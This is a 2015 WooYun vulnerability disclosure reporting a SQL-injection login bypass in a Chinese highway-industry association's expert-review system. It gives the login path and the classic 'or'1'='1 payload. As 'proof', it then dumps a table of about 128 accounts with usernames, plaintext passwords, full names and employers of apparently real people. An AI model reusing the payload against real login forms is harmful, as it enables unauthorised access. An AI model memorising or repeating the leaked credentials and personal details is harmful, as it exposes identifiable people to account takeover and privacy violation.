当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132822

漏洞标题:中国公路建设行业协会公路工程工法管理系统评审专家系统万能密码漏洞

相关厂商:中国公路建设行业协会

漏洞作者: 时光love叶子

提交时间:2015-08-12 15:54

修复时间:2015-09-26 16:32

公开时间:2015-09-26 16:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-12: 细节已通知厂商并且等待厂商处理中
2015-08-12: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-22: 细节向核心白帽子及相关领域专家公开
2015-09-01: 细节向普通白帽子公开
2015-09-11: 细节向实习白帽子公开
2015-09-26: 细节向公众公开

简要描述:

中国公路建设行业协会公路工程工法管理系统评审专家系统万能密码漏洞

详细说明:

中国公路建设行业协会公路工程工法管理系统评审专家系统万能密码漏洞
http://**.**.**.**/DKasp/Login.asp
'or'1'='1

漏洞证明:

wooyun	wooyun	乌云		评审专家	路基,路面,桥涵,隧道,交通工程,养护	√	查看详细	编辑	删除
2 yqh 123456 袁秋红 中国公路建设行业协会 评审委员会 √ 查看详细 编辑 删除
3 gxq gxq859 郭秀琴 中铁十六局集团有限公司 评审专家 路基,路面,桥涵,隧道 √ 查看详细 编辑 删除
4 ggsl 123456 郭光松 中交路桥建设有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
5 lyq 123456 刘元泉 中交第一公路工程局有限公司 评审专家 路基,路面,桥涵,隧道 √ 查看详细 编辑 删除
6 sxd 123456 石新栋 中交隧道工程局有限公司 评审专家 路基,隧道 √ 查看详细 编辑 删除
7 zy zy88469 卓越 中铁隧道集团有限公司 评审专家 隧道 √ 查看详细 编辑 删除
8 xhp 123456 许和平 中国铁建股份有限公司 评审专家 桥涵,隧道 √ 查看详细 编辑 删除
9 zjb zjb1235 张俊兵 中铁三局集团有限公司 评审专家 桥涵 √ 查看详细 编辑 删除
10 lyw 123456 刘元炜 中交第三公路工程局有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
11 cc 123456 陈超 龙建路桥股份有限公司 评审专家 路基,路面,桥涵,隧道 √ 查看详细 编辑 删除
12 ggs 123456 葛钢锁 中交第四公路工程局有限公司 评审专家 路基,路面,桥涵,养护 √ 查看详细 编辑 删除
13 sgy sgy123456 单光炎 浙江省交通工程建设集团有限公司 评审专家 路基,路面,桥涵,养护 √ 查看详细 编辑 删除
14 zws 112233 赵文声 广东省长大公路工程有限公司 评审专家 路基,路面,交通工程 √ 查看详细 编辑 删除
15 sxm sxm431 孙西濛 北京市政路桥股份有限公司总承包一部 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
16 swl 68052456 孙文龙 北京市政路桥股份有限公司 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
17 lcf 123456 李春风 交通运输部公路局技术处 评审委员会 √ 查看详细 编辑 删除
18 scg 123456 单长刚 中国公路建设行业协会 评审委员会 √ 查看详细 编辑 删除
19 zjc 123456 周纪昌 中国公路建设行业协会 评审委员会 √ 查看详细 编辑 删除
20 lp 123456 刘鹏 中国公路建设行业协会 评审委员会 √ 查看详细 编辑 删除
21 csb 123456 程树本 中国公路建设行业协会专家委员会 评审专家 路基,路面,养护 √ 查看详细 编辑 删除
22 yy 123456 杨昀 交通运输部公路科学研究院桥梁中心 评审专家 桥涵 √ 查看详细 编辑 删除
23 lhz 123456 李红专 北京城建道桥建设集团有限公司 评审专家 路基,路面,桥涵,隧道 √ 查看详细 编辑 删除
24 ljq zg1we1 陆军强 利越集团有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
25 cgp 123456 陈国平 浙江省大成建设集团有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
26 ghl 123456 管鹤楼 江苏省镇江市路桥工程总公司 评审专家 路基,桥涵 √ 查看详细 编辑 删除
27 hzh 123456 郝振华 内蒙古路桥有限责任公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
28 dc dc6689 杜 程 辽宁省路桥建设集团有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
29 zxf 123456 郑雪峰 江西省交通工程集团公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
30 jql 123456 贾佺利 陕西路桥集团有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
31 tjz tjz456 田军祯 山东省路桥集团有限公司 评审专家 路基,路面,桥涵,养护 √ 查看详细 编辑 删除
32 zpj zpj9785 张丕界 中铁十一局集团有限公司 评审专家 路基,路面,隧道 √ 查看详细 编辑 删除
33 ssl 123456 沈顺柳 中国公路工程咨询集团有限公司\中咨华科公司 评审专家 路面,交通工程 √ 查看详细 编辑 删除
34 lch 123456 廖朝华 中交第二公路勘察设计研究院有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
35 sd 123456 孙 东 中铁二院贵阳有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
36 cfx 123456 丛福祥 鲲鹏建设集团有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
37 xzz 123456 夏志忠 辽宁金帝路桥建设有限公司 评审专家 路面,桥涵,隧道 √ 查看详细 编辑 删除
38 jwc 123456 姜文臣 山东省临沂市农村公路养护中心山东沂蒙交通工程有限公司 评审专家 交通工程,养护 √ 查看详细 编辑 删除
39 mfs 123456 孟福胜 沧州路桥工程公司 评审专家 路基,路面 √ 查看详细 编辑 删除
40 zlc 123456 朱连臣 青岛建工集团有限公司 评审专家 路基 √ 查看详细 编辑 删除
41 cgf cgf121 储根法 安徽省交通建设有限责任公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
42 jhq 123456 贾海庆 山东省公路建设(集团)有限公司 评审专家 路基,路面,交通工程 √ 查看详细 编辑 删除
43 sj 123456 孙 杰 济南城建集团有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
44 xg 123456 许 庚 济南城建集团有限公司 评审专家 路基,桥涵 √ 查看详细 编辑 删除
45 zxp 123456 郑小平 河北建设集团有限公司路桥分公司 评审专家 路面,桥涵 √ 查看详细 编辑 删除
46 jy 123456 金 奕 北京城建集团有限责任公司土木工程总承包部 评审专家 路基,桥涵,交通工程 √ 查看详细 编辑 删除
47 dlg 123456 董力光 辽宁省路桥建设集团有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
48 wcx 123456 王成鑫 内蒙古路桥有限责任公司 评审专家 路面,桥涵 √ 查看详细 编辑 删除
49 wsl wsl665 王树林 广东冠粤路桥有限公司 评审专家 路基,路面,桥涵,隧道,交通工程 × 查看详细 编辑 删除
50 rwh 123456 任文宏 甘肃路桥建设集团有限公司 评审专家 路基,桥涵 √ 查看详细 编辑 删除

gl.png

51	ckh	123456	陈克鸿	广东能达高等级公路维护有限公司	评审专家	路基,路面	√	查看详细	编辑	删除
52 zlw 123456 曾利文 广东省长大公路工程有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
53 wyx wyx5598 王应祥 西南交通建设集团股份有限公司 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
54 lxc 123456 廖小春 江西省交通工程集团公司 评审专家 隧道,交通工程 √ 查看详细 编辑 删除
55 ll 123456 刘林 江苏省镇江市路桥工程总公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
56 dwb dwb965 董武斌 四川公路桥梁建设集团有限公司 评审专家 路基,路面,桥涵,隧道,养护 √ 查看详细 编辑 删除
57 liuyl 5599190 刘玉兰 湖南路桥建设集团公司 评审专家 路基,路面,桥涵,交通工程,养护 √ 查看详细 编辑 删除
58 fy 123456 冯 沅 山西路桥建设集团有限公司 评审专家 桥涵,交通工程 √ 查看详细 编辑 删除
59 ydf 123456 颜东锋 浙江省交通工程建设集团有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
60 gjk 123456 高金康 浙江省交通工程建设集团有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
61 my 123456 马 勇 龙建路桥股份有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
62 cyj 123456 陈彦君 黑龙江省龙建路桥第五工程有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
63 csz 123456 蔡绍忠 黑龙江省建设集团有限公司龙建路桥股份有限公司 评审专家 路基,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
64 lgq 123456 李国清 河北路桥集团有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
65 zwj zwj668 翟文静 北京鑫实路桥建设有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
66 zsm 123456 张素梅 北京鑫实路桥建设有限公司 评审专家 桥涵,交通工程 √ 查看详细 编辑 删除
67 pcr 123456 裴承润 北京市政路桥股份有限公司工程总承包一部 评审专家 路基,桥涵,交通工程 √ 查看详细 编辑 删除
68 lwh 123456 李文华 北京市政路桥股份有限公司技术研发中心 评审专家 路基,路面,交通工程 √ 查看详细 编辑 删除
69 zss 123456 周世生 北京市政路桥股份有限公司技术研发中心 评审专家 路基,桥涵,交通工程 √ 查看详细 编辑 删除
70 zq 123456 张 琼 安徽省路港工程有限责任公司 评审专家 路基,隧道,交通工程 √ 查看详细 编辑 删除
71 psk 123456 彭申凯 安徽省公路桥梁工程有限公司 评审专家 路基,路面,桥涵,隧道,交通工程,养护 √ 查看详细 编辑 删除
72 fxy fxy669 范训益 中国建筑股份有限公司基础设施事业部 评审专家 路基,桥涵 √ 查看详细 编辑 删除
73 lzh 123456 李植怀 中国路桥工程有限责任公司 评审专家 路基,桥涵,交通工程 √ 查看详细 编辑 删除
74 pr 123456 彭 锐 中咨泰克交通工程集团有限公司 评审专家 路基 √ 查看详细 编辑 删除
75 ycw ycw458 杨昌维 中交第二航务工程局有限公司 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
76 wst wst1235 王书涛 中交三公局第一工程有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
77 txp 582202 滕小平 中交第三公路工程有限公司 评审专家 路基,路面,桥涵,交通工程,养护 √ 查看详细 编辑 删除
78 yyh 123456 杨元海 中交路桥建设有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
79 yzp 123456 杨振平 中交一航局第四工程有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
80 lj 123456 李 俊 中交一公局厦门工程有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
81 yyr 123456 杨源荣 中咨泰克交通工程集团有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
82 syg syg3566 孙耀国 中国路桥工程有限责任公司 评审专家 路基,桥涵,交通工程 √ 查看详细 编辑 删除
83 lsh 123456 李寿华 中国交通建设股份有限公司总承包经营分公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
84 czq 123456 陈中秋 中国交通建设股份有限公司总承包经营分公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
85 psd 123456 潘寿东 中铁十六局集团第三工程有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
86 sqx 123456 沙权贤 中铁十三局集团第一工程有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
87 zxd 123456 张旭东 中铁十一局集团有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
88 lzw 123456 刘招伟 中铁隧道集团有限公司 评审专家 路基,隧道,交通工程 √ 查看详细 编辑 删除
89 djh 8598djh 董炬洪 中铁七局集团有限公司 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
90 zjf 123456 赵剑发 中铁六局集团有限公司 评审专家 路基,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
91 yzc 123456 闫子才 中铁四局集团有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
92 hxj 123456 何贤军 中铁四局集团有限公司 评审专家 路基,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
93 wzh 123456 王志辉 山东交通学院 评审专家 路基,交通工程 √ 查看详细 编辑 删除
94 zjl 123456 郑健龙 长沙理工大学 评审专家 路面,交通工程 √ 查看详细 编辑 删除
95 zcj 123456 周长军 中国公路工程咨询集团有限公司 评审专家 路面,交通工程 √ 查看详细 编辑 删除
96 sy sy3589 宋 仪 中铁隧道勘测设计院有限公司 评审专家 隧道,交通工程 √ 查看详细 编辑 删除
97 pxr 123456 彭向荣 广东省公路勘察规划设计院股份有限公司 评审专家 路面,交通工程 √ 查看详细 编辑 删除
98 cfm 123456 陈发明 新疆维吾尔自治区公路工程质量监督局 评审专家 路面,交通工程 √ 查看详细 编辑 删除
99 ty 123456 唐 颖 福建省交通规划设计院 评审专家 交通工程 √ 查看详细 编辑 删除
100 cz 123456 陈 阵 福建省交通规划设计院 评审专家 交通工程 √ 查看详细 编辑 删除

gl0.png

101	feg	123456	冯尔钢	山西省公路学会	评审专家	交通工程	√	查看详细	编辑	删除
102 ap 123456 安 平 日照市公路管理局工程处 评审专家 桥涵,交通工程 √ 查看详细 编辑 删除
103 zl 123456 张 亮 湖南省交通科学研究院 评审专家 交通工程 √ 查看详细 编辑 删除
104 pyx 123456 彭贻希 福建省交通科学技术研究所 评审专家 路面,交通工程 √ 查看详细 编辑 删除
105 gxg 123456 高仙桂 新疆维吾尔自治区交通建设管理局 评审专家 路面,交通工程 √ 查看详细 编辑 删除
106 wyg 123456 汪亚干 交通运输部规划研究院 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
107 ysz 123456 杨智生 交通运输部规划研究院 评审专家 路基,路面,桥涵,隧道,交通工程 √ 查看详细 编辑 删除
108 dzg 123456 杜佐光 宏远建设有限公司 评审专家 路基,交通工程 √ 查看详细 编辑 删除
109 lyl lyl123456 李友林 沧州路桥工程公司 评审专家 路基,路面,桥涵,交通工程 × 查看详细 编辑 删除
110 qw qw123456 祁 伟 甘肃路桥建设集团有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
111 zbt 123456 张保同 山东省路桥集团有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
112 gfs 123456 郭法生 中铁四局集团有限公司 评审专家 路面,交通工程 √ 查看详细 编辑 删除
113 whm 123456 吴海民 中交第四公路工程局有限公司 评审专家 路面,交通工程 √ 查看详细 编辑 删除
114 qsj 123456 钱绍锦 中交第三公路工程有限公司 评审专家 交通工程 √ 查看详细 编辑 删除
115 lcb 123456 罗承斌 中交第二航务工程局有限公司 评审专家 交通工程 √ 查看详细 编辑 删除
116 gc 123456 高 春 中交一航局总承包分公司 评审专家 交通工程 √ 查看详细 编辑 删除
117 hxw hxw6698 黄学文 安徽省高速公路控股集团有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
118 jzs 123456 姜竹生 江苏省交通运输厅工程质量监督局 评审专家 交通工程 √ 查看详细 编辑 删除
119 lxl 123456 吕锡岭 浙江省大成建设集团有限公司西北分公司 评审专家 路面,桥涵,交通工程 √ 查看详细 编辑 删除
120 fdc 123456 傅道春 山东交通学院土木工程学院 评审专家 交通工程 √ 查看详细 编辑 删除
121 dep 123456 杜二鹏 天津市市政公路管理局 评审专家 路面,交通工程 √ 查看详细 编辑 删除
122 sxp y759mq 邵新鹏 山东高速青岛发展有限公司 评审专家 路基,路面,桥涵,交通工程 √ 查看详细 编辑 删除
123 zxl 61235 周绪利 北京市道路工程质量监督站 评审专家 路基,路面 √ 查看详细 编辑 删除
124 lsz 857132 吕思忠 山东省路桥集团有限公司 评审专家 路基,路面 √ 查看详细 编辑 删除
125 wzw wzw4369 王中文 广东省长大公路工程有限公司 评审专家 路基,路面,桥涵,隧道 √ 查看详细 编辑 删除
126 zh 123456 张鸿 中交第二航务工程局有限公司 评审专家 路基,路面,桥涵 √ 查看详细 编辑 删除
127 hx 546318 黄新 中铁上海局工程有限公司 评审专家 路基,桥涵,隧道 √ 查看详细 编辑 删除
128 wbq 64283 王保群 山东交通学院土木工程学院 评审专家 桥涵,隧道 √ 查看详细 编辑 删除


图片就不需要更多了

修复方案:

~~~~~~~~~~~~~~~~~~~~~~

版权声明:转载请注明来源 时光love叶子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-12 16:30

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给北京分中心,由其后续协调网站管理单位处置。

最新状态:

暂无